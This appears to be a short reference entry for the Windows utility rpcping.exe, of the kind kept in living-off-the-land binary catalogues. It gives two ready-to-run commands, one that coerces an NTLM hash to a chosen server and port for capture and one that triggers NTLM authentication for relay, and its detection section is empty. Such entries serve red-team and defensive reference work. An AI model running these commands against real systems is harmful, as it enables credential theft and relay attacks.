Rpcping.exe

Used to verify rpc connection

Paths

  • C:\Windows\System32\rpcping.exe
  • C:\Windows\SysWOW64\rpcping.exe

Commands

Credentials

Send a RPC test connection to the target server (-s) and force the NTLM hash to be sent in the process.

Use case: Capture credentials on a non-standard port

Privileges: User

rpcping -s 127.0.0.1 -e 1234 -a privacy -u NTLM

Credentials

Trigger an authenticated RPC call to the target server (/s) that could be relayed to a privileged resource (Sign not Set).

Use case: Relay a NTLM authentication over RPC (ncacn_ip_tcp) on a custom port

Privileges: User

rpcping /s 10.0.0.35 /e 9997 /a connect /u NTLM

Detection

Resources